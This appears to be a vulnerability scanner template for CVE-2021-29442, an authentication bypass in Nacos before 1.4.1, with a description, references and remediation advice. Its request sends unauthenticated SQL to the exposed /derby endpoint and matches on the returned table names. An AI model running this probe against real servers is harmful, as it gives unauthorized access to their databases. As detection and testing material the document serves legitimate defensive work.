Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
PoC
id: CVE-2021-29442
info:
name: Nacos <1.4.1 - Authentication Bypass
author: dwisiswant0
severity: high
description: |
Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
remediation: |
Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
reference:
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
- https://github.com/alibaba/nacos/issues/4463
- https://github.com/alibaba/nacos/pull/4517
- https://github.com/advisories/GHSA-36hp-jr8h-556f
- https://nvd.nist.gov/vuln/detail/CVE-2021-29442
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-29442
cwe-id: CWE-306
epss-score: 0.6663
epss-percentile: 0.99249
cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: alibaba
product: nacos
tags: cve2021,cve,nacos,auth-bypass,alibaba,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: regex
part: body
regex:
- "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
- type: status
status:
- 200
# digest: 4a0a00473045022100fbb2a6314785cc974c072ecbbc6db19b896d4871a0397f6bb41657de75a5dd21022072345955af4909ed7bda72f232a2860c3d428144af959f148e544836701302d6:922c64590222798bb761d5b6d8e72950
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